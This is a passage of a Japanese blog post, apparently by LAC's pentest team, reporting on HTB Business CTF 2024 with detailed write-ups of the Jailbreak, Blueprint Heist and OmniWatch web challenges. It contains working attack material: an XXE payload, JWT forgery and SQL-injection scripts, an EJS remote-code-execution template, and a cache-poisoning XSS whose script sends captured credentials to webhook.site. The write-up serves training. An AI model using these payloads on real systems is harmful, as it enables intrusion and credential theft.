こんにちは、デジタルペンテスト部(DP部)のst98です。
2024年5月18日(土)から2024年5月22日(水)にかけて、HTB Business CTF 2024という世界中の企業が競い合うオンラインのCTF(Capture The Flag)が開催されました。ラック社内のCTFプレイヤーに声をかけ、14名のメンバーからなるチーム「LAC SeaParadise」*1を結成し、943チームが参加する中で国内2位/世界8位という成績を収めました。
本記事では、HTB Business CTFとはどのような大会だったかを説明した後に、このCTFでWebやMiscのカテゴリから出題された問題について、我々がどのようなアプローチで解いたかを紹介していきます。
- 参加レポート
- writeup
- おわりに
参加レポート
HTB Business CTFについて
Hack The Box(HTB)は、サイバーセキュリティについて学ぶことのできるプラットフォームです。ドキュメントを読みつつハンズオンで手を動かすことで、特定のトピックについて段階的に学べるHTB Academyや、脆弱なWindowsやLinuxのマシンやネットワークを対象として攻撃を行うことで、実践的にペネトレーションテストを学べるHTB LabsといったサービスをHTBは展開しています。HTB LabsにはPro Hacker, Guru, Omniscientのようなプレイヤーのレベルを示すハッカーランクや、プレイヤー間で競い合うランキングといった制度があり、世界中のハッカーが挑戦していることで知られています。もちろん、日本にも多くのプレイヤーがいます*2。
さて、そんなHTBの主催するCTFがHTB Business CTFです。FAQで "business-focused CTF" とされている通り、会社のメールアドレスがなければ登録できず*3、また1社1チームしか参加できない*4企業対抗CTFとなっています。2021年から毎年開催されており、今年が4回目の開催でした。
会社対抗のCTFらしく、出題される問題の分野も幅広く、また現実のシステムにある程度即したものとなっていました*5。よくあるCTFではWeb, Crypto(暗号), Reversing(リバースエンジニアリング), Pwn(バイナリエクスプロイテーション)といったものが主要なカテゴリとなっています。HTB Business CTF 2024では、これらのカテゴリはもちろんのこと、以下のようなカテゴリも存在していました:
- Forensics: 与えられたpcapファイルをもとにパケットを解析したり、バックドアの仕掛けられたマシンに接続しての解析等を行う
- Blockchain: Solidityを使ったスマートコントラクトに潜む脆弱性を攻撃する
- Cloud: AWSやGCPといったクラウドサービスを利用しているサービスの情報収集や攻撃等を行う
- Hardware: VHDLのコードリーディングや6502のアセンブリを書くといったように、ハードウェアに関連した問題に挑む
- ICS: 産業用システムに対してプロトコルの解析や攻撃等を行う
- Coding: 競技プログラミングのように、出されたお題に対して効率的に解くことのできるアルゴリズムを実装する
- Fullpwn: HTB Labsで提供されているような、いわゆるBoot2Root問に挑み、一般ユーザの乗っ取りからrootへのアクセスまでつなげる
LAC SeaParadiseについて
NFLabs.さんやNTTセキュリティさんが参加レポートを公開されていたほか、GMOサイバーセキュリティ byイエラエさんが日本1位を獲得した際にプレスリリースを出していたことから、私は以前からHTB Business CTFに興味を持っていました。過去数年のwriteupを確認し、いわゆる「エスパー問」*6はほとんどなく、難易度も簡単なものから難しいものまで出題されるようで、楽しめそうなCTFであるという認識を持っていました。
そんな折、CTF情報が得られるCTFtime.orgというプラットフォームで、今後開催されるCTFの一覧から2024年もHTB Business CTFがあることを知りました。これまでHTB Business CTFへ参加したことはありませんでしたが、今回はぜひラックでチームを作りたいと思い、社内CTF「LACCON」の運営メンバーや、過去参加いただいたプレイヤーを中心に声をかけ、またそうして集まったメンバーからのさらなる招待によって、チーム「LAC SeaParadise」が結成されました。
今年の大会は1チーム最大30名まで参加可能というルールでしたが、私を含め14名が集まりました。デジタルペンテスト部でペネトレーションテストを担当しているメンバーだけでなく、セキュリティ監視・運用サービスであるJSOCのメンバー、セキュリティ部門ではないメンバーなどなど、複数部門を横断してチームが組織されました。
大会の結果
競技期間は2024年5月18日(土)の22時から2024年5月22日(水)の22時までの96時間と、一般的なCTFでも24時間か48時間というただでさえ長めのものが多いところ、HTB Business CTFはさらに長いものとなっていました。
競技時間のうち半分以上が日本時間では平日ということもあり、また出題される問題も前述のように多岐にわたっており、厳しい戦いが予想されました。しかしながら、メンバーの広く深い知識や技術と奮闘のおかげで、競技中は終始一桁台の順位を維持でき、国内では2位、全世界では8位という結果を残すことができました。
チームとしては、全部で63のフラグがあるうち、56のフラグ*7を取得することができました。12のカテゴリのうち、Web, Crypto, Reversing, Forensics, Misc, Coding, Blockchain, Hardware, ICSの9カテゴリに関しては、すべてのフラグを取得することができました。
一方で、Fullpwn, Pwn, Cloudに関しては、以下の5問を解くことができませんでした。全ての問題の中でも特に正答数の少ない難しい問題ばかりではありますが、「我々の今の実力では解けなかったであろう」と思える問題ばかりではありませんでした。
競技終了後に公開されたwriteupを読んで、競技中に試していたアプローチであるのに検証が足りず諦めていた、小さなヒントを見逃していたなど、あと一歩が足りなかったと気付いた問題もいくつかありました。次回以降はこの一歩を詰められるようにすべく、また解くには実力が明らかに足りないと思える問題も解けるよう*8、今後も精進していきたいと思います。
- [Fullpwn] Bulwark
- [Fullpwn] NeoHub
- [Pwn] Insidious
- [Pwn] Pyrrhus
- [Cloud] Asceticism
writeup
今回私が解いた問題のうち、Web 5問とMisc 1問について解説をしていきます*9。解く際に残していたメモをもとに、思考の過程をなるべく詳しく書くよう心がけました。長大な文章となってしまいましたので、まず要点をまとめたTL;DRを記載します。ざっと眺めて気になった脆弱性について知りたいというような場合にご活用ください。
また、すでにHTBより今回出題された問題の問題文やソースコード、作問者が想定していた解法等が公開されています*10ので、あわせてご確認ください。
TL;DR
- [Web] Jailbreak: XXEでファイルを読み出す
- [Web] Blueprint Heist: JWTの偽造, 正規表現によるチェックのバイパス, GraphQLでのSQLi,
INTO OUTFILE
によるSQLiからのファイルの書き込み, EJSを使ったRCE - [Web] Omniwatch: Reflected XSS, CRLF Injectionを悪用したVarnishでのキャッシュ汚染, キャッシュ汚染によるStored XSSへのエスカレーション, Path TraversalによるJWTの署名用の鍵の窃取, 複文を活用したSQLi
- [Web] SOS or SSO?: XSS, 偽OpenIDプロバイダの作成によるアカウントの乗っ取り
- [Web] Magicom: PHPのregister_argc_argvディレクティブ, OSコマンドインジェクション, phpinfoとファイルアップロードを活用した、一時ファイルのパスの取得とRace Condition
- [Misc] Prison Pipeline: fileスキームを使ったローカルファイルの読み取り, プライベートなnpmレジストリへの侵害
[Web 300] Jailbreak (500 solves)
The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. Using custom firmware and a series of precise modifications, can you bring the device to full operational status in order to pair it with the vault door's access port? The flag is located in /flag.txt
問題の概要
ソースコードは与えられていません。ブラックボックス問のようです。与えられたURLにアクセスすると、ゲーム「Fallout」シリーズに登場する「Pip-Boy」というデバイスを模したWebアプリが表示されました。
ステータス、インベントリ、地図*11といった機能が存在しています。ただし、Google ChromeでDevToolsのNetworkタブを開きながらこれらの機能を確かめていると、いずれもデータは map.js
や data.js
といったJSファイルの中で定義されており、APIを叩いているわけではないとわかります。
今回の目的は /flag.txt
というサーバに存在するファイルを手に入れることですから、なにか脆弱性のありそうな場所、つまりユーザの入力を受けてサーバ側で何かしらの処理をしてくれるAPIを探したいところです。
このPip-Boyには ROM
という機能もありました。どうやらXMLで記述された設定ファイルをアップロードすることで、ファームウェアを書き換えることができるようです。試しに、すでに textarea
に入力されているXMLのままでアップロードしたところ、/api/update
へのPOSTがされました。
ページを更新すると、結局 textarea
に入力されているXMLは更新前のままでした。ここで、ファームウェアの更新時にXML中の FirmwareUpdateConfig/Firmware/Version
に含まれているバージョンがAPIのレスポンスに含まれていることに気づきます。たとえば、<Version>hoge</Version>
のように変えてやると、次のように "Firmware version hoge update initiated" と返ってきます。ちゃんとこのAPIはXMLの中身を読んでくれているようです。
XXEでファイルを読む
XMLを取り扱う際に起こり得る脆弱性といえば、XML External Entity(XXE)を使った攻撃を思い出します。/flag.txt
を読み出して、バージョン情報としてその内容を返させることはできないでしょうか。
次のようなXMLを用意します。もしこのペイロードを使った攻撃が成功すれば、Version
要素の内容として /etc/passwd
の内容が展開されるはずです。
<!DOCTYPE FirmwareUpdateConfig [ <!ENTITY h SYSTEM "file:///etc/passwd"> ]> <FirmwareUpdateConfig> <Firmware> <Version>&h;</Version> <ReleaseDate>2077-10-21</ReleaseDate> <Description>Update includes advanced biometric lock functionality for enhanced security.</Description> <Checksum type="SHA-256">9b74c9897bac770ffc029102a200c5de</Checksum> </Firmware> </FirmwareUpdateConfig>
試してみると、無事に /etc/passwd
を読み出すことができました。
読み出すファイルを /etc/passwd
から /flag.txt
に変えてやると、フラグが得られました。
HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_dedaa3fb903c63ce737952a306d0dbf1}
[Web 325] Blueprint Heist (63 solves)
Amidst the chaos of their digital onslaught, they manage to extract the blueprints by inflitrating the ministry of internal affair's urban planning commission office detailing the rock and soil layout crucial for their underground tunnel schematics.
添付ファイル: web_blueprint_heist.zip
問題の概要
ありがたいことに、この問題ではソースコードが与えられています。まずは、この問題の目的を確認しましょう。Dockerfile
から重要な箇所を抜き出します。
フラグは /root/flag.txt
に保存されていますが、もちろん普通に読み出すことはできません。/readflag
というバイナリが存在していますが、これは単純に setuid(0)
してから cat /root/flag.txt
というOSコマンドを実行するものです。SUIDがついていますから、/readflag
を実行すればフラグが得られるわけです。
つまり、RCEやOSコマンドインジェクションといった攻撃・脆弱性によって、任意のOSコマンドを実行できるところまで持っていくことがこの問題の目的となります。
COPY flag.txt /root/flag.txt # … # Setup readflag COPY config/readflag.c / RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
これがどのようなWebアプリか確認しましょう。ローカルでDockerイメージを作成し、コンテナを立ち上げます。立ち上がったWebアプリにアクセスすると、次のようなページが表示されました。"Enviromental Impact" と "Construction Progress" はそれぞれリンクになっています。
試しにリンクをクリックしてみると、次のようなPDFがダウンロードされました。
DevToolsのNetworkタブを眺めつつリンクをクリックしてみると、/download?token=eyJh…4iAE
というようなURLに対してPOSTが行われていることがわかります。リクエストボディでは、multipart/form-data
で url=http://localhost:1337/report/enviromental-impact
というペイロードが送られていました。このURLをPDF化しているということでしょうか。
token
は .
区切り、かつ .
で区切った前の2つが eyJ
から始まっていることから、JWTと推測できます。含まれている内容は次のとおりです。role
というクレームに user
という文字列が含まれていますが、これを変更できれば別の role
として別のアクションができるということでしょうか。
ソースコードを確認する
ソースコードを見ていきます。index.js
がエントリーポイントです。外部からもアクセスできるルートと内部からのみ呼び出せるルートがあるようです。
// … const publicRoutes = require("./routes/public") const internalRoutes = require("./routes/internal") // … app.use(internalRoutes) app.use(publicRoutes) // …
外部からでも呼び出せる publicRoutes
は次の通りです。role
が guest
であるJWTを発行する /getToken
と、先ほどPDFのダウンロードに使った /download
が気になるところです。JWTからユーザの role
をチェックしているであろう authMiddleware
は後で見ていきましょう。
const { authMiddleware, generateGuestToken } = require("../controllers/authController") const { convertPdf } = require("../controllers/downloadController") router.get("/", (req, res) => { res.render("index"); }) router.get("/report/progress", (req, res) => { res.render("reports/progress-report") }) router.get("/report/enviromental-impact", (req, res) => { res.render("reports/enviromental-report") }) router.get("/getToken", (req, res, next) => { generateGuestToken(req, res, next) }); router.post("/download", authMiddleware("guest"), (req, res, next) => { convertPdf(req, res, next) }) // …
convertPdf
から参照されている generatePdfFromUrl
は次のとおりです。なるほど、wkhtmltopdfでHTMLからPDFへ変換しているようです。このツールはすでに開発が終了しているようですが、大丈夫でしょうか。また、PDF化するURLについては何もチェックされていません。なんでもよいようです。http
, https
以外も受け付けてくれるでしょうか。
async function generatePdfFromUrl(url, pdfPath) { return new Promise((resolve, reject) => { wkhtmltopdf(url, { output: pdfPath }, (err) => { if (err) { console.log(err) reject(err); } else { resolve(); } }); }); }
internalRoutes
は次のとおりです。先ほどちらっと登場した authMiddleware
を使って admin
であると検証できた場合のみ叩けるAPIが2つあります。/admin
の方はテンプレートを表示するだけなので今のところどうでもよいですが、/graphql
はどうやらGraphQLのエンドポイントのようで、怪しい雰囲気を出しています。
// … const { authMiddleware } = require("../controllers/authController") const schema = require("../schemas/schema"); const pool = require("../utils/database") const { createHandler } = require("graphql-http/lib/use/express"); router.get("/admin", authMiddleware("admin"), (req, res) => { res.render("admin") }) router.all("/graphql", authMiddleware("admin"), (req, res, next) => { createHandler({ schema, context: { pool } })(req, res, next); }); // …
GraphQLのエンドポイント周りは次のとおりです。getAllData
と getDataByName
というフィールドが定義されており、後者では与えられた引数をもとにSQLを発行しています。SELECT * FROM users WHERE name like '%${args.name}%'
と引数をそのままSQLに展開しておりSQLiチャンスに思えますが、detectSqli
なる関数によってSQLインジェクション(SQLi)が起こせそうな入力かチェックされているようです。バイパスできるかもしれませんが、また後で見ていきましょう。
const { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = require('graphql'); const UserType = require("../models/users") const { detectSqli } = require("../utils/security") const { generateError } = require('../controllers/errorController'); const RootQueryType = new GraphQLObjectType({ name: 'Query', fields: { getAllData: { // … }, getDataByName: { type: new GraphQLList(UserType), args: { name: { type: GraphQLString } }, resolve: async(parent, args, { pool }) => { let data; const connection = await pool.getConnection(); console.log(args.name) if (detectSqli(args.name)) { return generateError(400, "Username must only contain letters, numbers, and spaces.") } try { data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]); } catch (error) { return generateError(500, error) } finally { connection.release() } return data; } } } }); const schema = new GraphQLSchema({ query: RootQueryType }); module.exports = schema;
JWTの偽造による authMiddleware
の突破
ある程度ソースコードを読むことができました。GraphQLのエンドポイントからSQLiできそうな雰囲気を感じましたが、これを呼ぶにも authMiddleware("admin")
のチェックを通らねばなりません。authMiddleware
の実装を見ていきましょう。
ユーザによってクエリパラメータから与えられたJWTやクライアントの情報について、次の3点を確認しています:
- 環境変数の
SECRET
によって署名された、有効なJWTであるか authMiddleware
の与えられた引数がadmin
であれば、role
クレームがadmin
か- 内部からの接続であるか
これらのチェックを突破して、role
クレームが admin
であるJWTを作りたいところです。1.については、なんとかして署名に使われている鍵を手に入れられないでしょうか。3.については、任意のURLをPDF化できる機能からアクセスさせることでなんとかできそうです。
const jwt = require('jsonwebtoken'); const { generateError } = require('../controllers/errorController'); const { checkInternal } = require("../utils/security") const dotenv = require('dotenv'); dotenv.config(); const secret = process.env.secret function verifyToken(token) { try { const decoded = jwt.verify(token, secret); return decoded.role; } catch (error) { return null } } const authMiddleware = (requiredRole) => { return (req, res, next) => { const token = req.query.token; if (!token) { return next(generateError(401, "Access denied. Token is required.")); } const role = verifyToken(token); if (!role) { return next(generateError(401, "Invalid or expired token.")); } if (requiredRole === "admin" && role !== "admin") { return next(generateError(401, "Unauthorized.")); } else if (requiredRole === "admin" && role === "admin") { if (!checkInternal(req)) { return next(generateError(403, "Only available for internal users!")); } } next(); }; }; // … module.exports = {authMiddleware, generateGuestToken}
dotenv
が使われていることに着目します。これは .env
というファイルに含まれている項目を環境変数として読み込むライブラリです。配布されたソースコードに含まれていた .env
を見てみると、なんと次のようにJWTの署名に使われている secret
まで含まれていました。
DB_HOST=127.0.0.1 DB_USER=root DB_PASSWORD=Secr3tP4ssw0rdNoGu35s! DB_NAME=construction DB_PORT=3306 secret=Str0ng_K3y_N0_l3ak_pl3ase?
本物の問題サーバによって /generateToken
で発行された guest
用のJWTをjwt.ioで読み込み、この鍵を使って検証してみると、確かに成功しました。本番サーバでも共通してこの鍵が使われているようです。
role
クレームを admin
に変更したJWTを偽造します。本来であれば、/admin
は次のように "Access denied. Token is required" と返します。
しかし、/admin?token=(偽造したJWT)
のように偽造したJWTを与えてやると、"Only available for internal users!" と怒られました。ちゃんと偽造できているようです!
では、PDFの生成機能を使って内部から /admin
を叩いてあげましょう。次のようなPythonスクリプトを用意します。
import urllib.parse import jwt import httpx with httpx.Client(base_url='http://localhost:1337') as client: token = jwt.encode({ "role": "admin", "iat": 2000000000 }, 'Str0ng_K3y_N0_l3ak_pl3ase?', algorithm='HS256') url = f'http://127.0.0.1:1337/admin?token={token}' r = client.post('/download', params={ 'token': token }, data={ 'url': url }) with open('output.pdf', 'wb') as f: f.write(r.content)
実行すると、次のような内容のPDFが出力されました。authMiddleware("admin")
を突破できたようです。
GraphQLを使ったSQLi
admin
であればGraphQLのエンドポイントが叩けるのでした。一旦後回しにしていましたが、getDataByName
というフィールドでは、detectSqli
という関数のチェックさえバイパスできればSQLiに持ち込めそうな雰囲気がありました。
detectSqli
の実装は次のとおりです。正規表現によるチェックで、妙な記号が入っていないか見ているようです。ただ、なぜ頭に ^.*
と付けているのか、その意図がわかりません。文字列のどこかにまずい記号が含まれていないかチェックしたいのであれば、この部分はいらないはずです。
function detectSqli (query) { const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/ return pattern.test(query) }
せめて m
フラグや s
フラグを指定しておくべきでした。m
フラグがなければ ^
は行頭でなく文字列全体の先頭にのみマッチしますし、s
フラグがなければ .
は改行文字にマッチしません。したがって、detectSqli("\n'")
のように改行文字より後ろに '
のような文字を入れることで、チェックをバイパスできます。
これでSQLiに持ち込めるはずです。次のようなPythonスクリプトを用意します。
import urllib.parse import jwt import httpx with httpx.Client(base_url='http://localhost:1337') as client: token = jwt.encode({ "role": "admin", "iat": 2000000000 }, 'Str0ng_K3y_N0_l3ak_pl3ase?', algorithm='HS256') query = ''' { getDataByName(name: "\\u000aadmin' union select 1,2,3,4;#") { name } } ''' url = f'http://127.0.0.1:1337/graphql?token={token}&query={urllib.parse.quote_plus(query)}' r = client.post('/download', params={ 'token': token }, data={ 'url': url }) with open('output.pdf', 'wb') as f: f.write(r.content)
スクリプトを実行します。出力されたPDFは次のような内容で、確かにSQLiできていることがわかりました。
RCEへ持ち込む
この問題は /readflag
というバイナリを実行するのが目的でした。SQLiからRCEに持ち込む方法はなにかあるでしょうか。まず注目すべき点として、このコンテナではMySQLが使われており、また .env
からわかるように、なぜかデータベースへのアクセスに root
ユーザが使われています。
DB_USER=root DB_PASSWORD=Secr3tP4ssw0rdNoGu35s!
root
ユーザであるということは FILE
権限も持っているということですから、SELECT … INTO OUTFILE
文によってファイルの書き込みもできるはずです。これでJSファイルやテンプレートファイルを書き換えたいところですが*12、残念ながら SELECT … INTO OUTFILE
はすでに存在しているファイルを書き換えることはできません。
では、ファイルを書き換える代わりに、新たにどんなファイルを作成すればよいでしょうか。ここまでに確認していなかった処理として、403, 500等のエラーが発生した際のテンプレートの処理があります。これは次のように動的に読み込むファイルが指定されています。
const renderError = (err, req, res) => { res.status(err.status); const templateDir = __dirname + '/../views/errors'; const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error" let templatePath = path.join(templateDir, `${errorTemplate}.ejs`); if (!fs.existsSync(templatePath)) { templatePath = path.join(templateDir, `error.ejs`); } console.log(templatePath) res.render(templatePath, { error: err.message }, (renderErr, html) => { res.send(html); }); };
errors/
下を見てみると、400, 401, 500といったステータスコードには対応しているものの、404 Not Foundに関してはファイルが存在していません。404.ejs
を作成してから、存在しないことのわかっているパスにアクセスすれば、そのテンプレートをレンダリングさせることができそうです。
$ tree errors/ errors/ ├── 400.ejs ├── 401.ejs ├── 500.ejs └── error.ejs 0 directories, 4 files
先ほど作成したスクリプトを編集し、GraphQLで実行されるクエリを次のようなものにします。
{ getDataByName(name: "\\u000aadmin' union select 1,'<%= error %><%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>',3,4 into outfile '/app/views/errors/404.ejs';#") { name } }
スクリプトを実行して /app/views/errors/404.ejs
に細工したテンプレートを書き込ませます。/hoge
にアクセスすると、フラグが得られました。
HTB{ch41ning_m4st3rs_b4y0nd_1m4g1nary_bb259e3a557ec64ce8e198770750111d}
この問題は我々がfirst blood*13でした。2番目に簡単な(また、HTBの想定する難易度でも "Easy" とされている)問題でこの面倒くささかと思いました。
作問者が想定していた解法を見てみたところ、まずPDFの /Creator
から wkhtmltopdf 0.12.5
であることを確認し、その脆弱性によってソースコードを盗み取るところから始まっているようでした。元々はソースコードを提供しないつもりだったのでしょうか*14。
[Web 375] OmniWatch (28 solves)
You have found the IP of a web interface gunners use to track and spy on foes, hack in and retrieve last known location of a caravan that got ambushed in order to find an infamous a black market seller to trade with.
添付ファイル: web_omniwatch.zip
問題の概要
ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile
には次のようなコマンドがあり、/readflag
というバイナリを実行する必要のあることがわかります。
# … # Copy flag COPY flag.txt /flag.txt # … # Setup readflag program COPY config/readflag.c / RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c # …
Varnishも使われているようで、設定ファイルである cache.vcl
も含まれています。キャッシュ周りの話は一旦置いておいて、バックエンドには 3000/tcp
と 4000/tcp
で動いている2つのサーバがあり、それぞれ /controller
下と /oracle
下へのアクセスがあった際に使われるようです。今後、これらのサービスについてそれぞれ便宜上 controller
と oracle
と呼んでいきます。
vcl 4.0; backend default1 { .host = "127.0.0.1"; .port = "3000"; } backend default2 { .host = "127.0.0.1"; .port = "4000"; } # … sub vcl_recv { if (req.url ~ "^/controller/home"){ set req.backend_hint = default1; if (req.http.Cookie) { return (hash); } } else if (req.url ~ "^/controller") { set req.backend_hint = default1; } else if (req.url ~ "^/oracle") { set req.backend_hint = default2; } else { set req.http.Location = "/controller"; return (synth(301, "Moved")); } } # …
これらバックエンドのサービスに対応するソースコードのファイル構造は次のとおりです。controller
がPythonで書かれているのはよいとして、oracle
はなんとZigで書かれているようです。もしZigならではの脆弱性を探す必要があれば面倒ですが、今は考えないようにします。
$ tree -L 3 . . ├── controller │ ├── application │ │ ├── app.py │ │ ├── blueprints │ │ ├── config.py │ │ ├── firmware │ │ ├── static │ │ ├── templates │ │ └── util │ ├── requirements.txt │ ├── run.py │ └── seed.py └── oracle ├── build.zig ├── build.zig.zon ├── modules │ ├── buffer.zig │ ├── config.zig │ ├── httpz.zig │ ├── … │ └── worker.zig └── src └── main.zig 10 directories, 20 files
どのようなサービスか確認するため、ローカルでDockerイメージをビルドし、コンテナを立ち上げます。アクセスすると /controller
にリダイレクトされ、次のようにログインフォームが表示されました。guest
/ guest
のようなありそうな認証情報を入力しても、もちろんログインできません。
ユーザ登録、あるいはすでに登録されているユーザの認証情報を用いてのログインはできないでしょうか。controller/application/util/database.py
でデータベース(MySQL)の初期化をしているようですから、見てみます。まず、データベースの操作は MysqlInterface
というクラスでラップされていますが、この register_user
というメソッドでユーザ登録がなされるとわかります。
import time, bcrypt, random, uuid, mysql.connector class MysqlInterface: # … def register_user(self, permissions, username, password): password_bytes = password.encode("utf-8") salt = bcrypt.gensalt() password_hash = bcrypt.hashpw(password_bytes, salt).decode() self.query("INSERT INTO users(permissions, username, password) VALUES(%s, %s, %s)", (permissions, username, password_hash,)) self.connection.commit() return True # …
ディレクトリ全体を register_user
で検索しましたが、同ファイルの以下の処理でしか参照されていません。ユーザ登録のできるAPIはなく、初期設定時に MODERATOR_USER
, MODERATOR_PASSWORD
という設定に含まれているユーザ名とパスワードでユーザが作成されているだけのようです。
# … class MysqlInterface: def __init__(self, config): self.connection = None self.moderator_user = config["MODERATOR_USER"] self.moderator_password = config["MODERATOR_PASSWORD"] # … def migrate(self): # … self.register_user("moderator", self.moderator_user, self.moderator_password) # …
MODERATOR_USER
, MODERATOR_PASSWORD
とは何者でしょうか。controller/application/config.py
からは環境変数からやってきているとわかります。
import os from dotenv import load_dotenv load_dotenv() class Config(object): # … MODERATOR_USER = os.getenv("MODERATOR_USER") MODERATOR_PASSWORD = os.getenv("MODERATOR_PASSWORD")
そして、entrypoint.sh
からはこれらの環境変数はランダムに生成されている*15とわかります。
# … # Random password function function genPass() { echo -n $RANDOM | md5sum | head -c 32 } # … export MODERATOR_USER=$(genPass) export MODERATOR_PASSWORD=$(genPass) # …
MODERATOR_USER
と MODERATOR_PASSWORD
は controller/application/util/bot.py
でも参照されています。このコードは次の通りです。Selenium + Chromiumを使ってなにやらページの巡回を行っているようです。これらの認証情報でログインした後、/oracle/json/(ランダムな数値)
と oracle
のAPIへアクセスしています。これが定期的に実行されています。
import time, random from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.chrome.options import Options from application.util.database import MysqlInterface def run_scheduled_bot(config): try: bot_runner(config) except Exception: mysql_interface = MysqlInterface(config) mysql_interface.update_bot_status("not_running") def bot_runner(config): mysql_interface = MysqlInterface(config) mysql_interface.update_bot_status("running") chrome_options = Options() chrome_options.add_argument("headless") # … chrome_options.add_argument("disk-cache-size=1") client = webdriver.Chrome(options=chrome_options) client.get("http://127.0.0.1:1337/controller/login") time.sleep(3) client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"]) client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"]) client.execute_script("document.getElementById('login-btn').click()") time.sleep(3) client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}") time.sleep(10) mysql_interface.update_bot_status("not_running") client.quit()
このbotを罠にはめて認証情報を奪い取ることはできないでしょうか。
Reflected XSSとCRLF Injectionを組み合わせて、キャッシュを汚染する
controller
のソースコードを眺めましたが、非ログイン状態では特になにかデータを保存させられるような処理はなく、というよりbotは /controller/login
にしかアクセスしませんから、XSSは困難に感じます。となると oracle
側でのXSSの可能性を考えますが、Zigは読みたくないのでまずそれ以外の要素を確認します。
再びVarnishの設定ファイルを見てみると、気になる記述がありました。CacheKey
というレスポンスヘッダが設定されており、さらにその値が enable
であれば10秒間キャッシュされるようになっています。vcl_hash
ではリクエストの req.http.CacheKey
のみがキャッシュの参照時のキーとなるハッシュの計算に使われるようになっていますが、これでは /oracle/json/1
でキャッシュされたものが /controller/login
で表示されるようなことも考えられます。
# … sub vcl_hash { hash_data(req.http.CacheKey); return (lookup); } # … sub vcl_backend_response { if (beresp.http.CacheKey == "enable") { set beresp.ttl = 10s; set beresp.http.Cache-Control = "public, max-age=10"; } else { set beresp.ttl = 0s; set beresp.http.Cache-Control = "public, max-age=0"; } } # …
レスポンスヘッダに CacheKey
を追加させて、無理やりどこかのページをキャッシュさせることはできないでしょうか。重い腰を上げて oracle
側のZigで書かれたコードを見ていきます。/oracle/json/1
に対応する処理は次のとおりです。なるほど、パスパラメータからモードとデバイスIDを受け取り、モードが json
であればJSON形式で、それ以外であればHTMLでデバイスの情報を返しています。
// … pub fn start(allocator: Allocator) !void { var server = try httpz.Server().init(allocator, .{ .address = "0.0.0.0", .port = 4000 }); defer server.deinit(); var router = server.router(); server.notFound(notFound); router.get("/oracle/:mode/:deviceId", oracle); try server.listen(); } fn oracle(req: *httpz.Request, res: *httpz.Response) !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; const allocator = gpa.allocator(); const deviceId = req.param("deviceId").?; const mode = req.param("mode").?; const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId); const decodedMode = try std.Uri.unescapeString(allocator, mode); const latitude = try randomCoordinates(); const longtitude = try randomCoordinates(); res.header("X-Content-Type-Options", "nosniff"); res.header("X-XSS-Protection", "1; mode=block"); res.header("DeviceId", decodedDeviceId); if (std.mem.eql(u8, decodedMode, "json")) { try res.json(.{ .lat = latitude, .lon = longtitude }, .{}); } else { const htmlTemplate = \\<!DOCTYPE html> \\<html> \\ <head> \\ <title>Device Oracle API v2.6</title> \\ </head> \\<body> \\ <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p> \\</body> \\</html> ; res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude }); } } // …
まず、パスパラメータのモードをエスケープせずHTMLのテンプレートに展開しているため、Reflected XSSができそうです。しかしながら、/oracle/<script>alert(123)<%2fscript>/1
にアクセスしても、Content-Type
ヘッダが設定されておらず、かつ X-Content-Type-Options: nosniff
というヘッダがあるために、Chromiumはいい感じにMIME sniffingしてくれません。したがって、これだけでは以下のとおりReflected XSSが成立しません。
このAPIでは、res.header("DeviceId", decodedDeviceId);
によってデバイスIDが DevideId
ヘッダに設定されています。デバイスIDを細工することでなんとかできないでしょうか。色々試していると、次のようにCRLFをデバイスIDに紛れ込ませることで、CRLF Injectionできることがわかりました。
$ curl -i "http://localhost:1337/oracle/hoge/hoge%0d%0afuga:piyo" HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block DeviceId: hoge fuga:piyo …
これらを組み合わせて、/oracle/<script>alert(123)<%2fscript>/%0d%0aContent-Type:text%2fhtml
でReflected XSSに持ち込むことができました。
さらに先ほどのキャッシュの件を思い出します。レスポンスヘッダに CacheKey: enable
を追加することで、強引にこのXSSの発生しているページをキャッシュさせることができるのではないでしょうか。/oracle/<script>alert(location)<%2fscript>/%0d%0aContent-Type:text%2fhtml%0d%0aCacheKey:enable
にアクセスした後に /controller/login
へアクセスすると、キャッシュを汚染してログインフォームで <script>alert(location)</script>
を含む内容を返させることができました。
moderatorとしてログインするbotは定期的に /controller/login
へアクセスしてきて、認証情報を入力していきます。これを利用して認証情報をぶっこ抜きましょう。
以下のようなシェルスクリプトを実行して、/controller/login
へアクセスすると //example.com/exploit.js
に存在するJSコードが実行されるようにします。
while true; do curl http://(省略)/oracle/%3Cscript%20src=%2f%2fexample.com%2fexploit.js%3E%3C%2fscript%3E/1%0d%0aContent-Type:text%2fhtml%0d%0aCacheKey:enable; sleep 5; done
exploit.js
は次のような内容にします。偽物のログインフォームを表示し、送信ボタンが押されれば webhook.site
で作成したページに認証情報が飛んでいくようなスクリプトです。
function f(x) { (new Image).src='https://webhook.site/…?' + x } const username = document.createElement('input'); username.id = 'username'; const password = document.createElement('input'); password.id = 'password'; const button = document.createElement('button'); button.id = 'login-btn'; button.addEventListener('click', () => { f(JSON.stringify({ username: username.value, password: password.value })); }); button.innerText = 'hi'; document.body.appendChild(username); document.body.appendChild(password); document.body.appendChild(button);
しばらく待つと、botが認証情報を背負ってやってきました。
Path TraversalでJWTの署名に使われる鍵を奪う
botから認証情報を奪い取り、moderatorとして controller
にログインできました。moderatorはデバイスの情報を閲覧したり、ファームウェアの情報を取得したりできるようです。
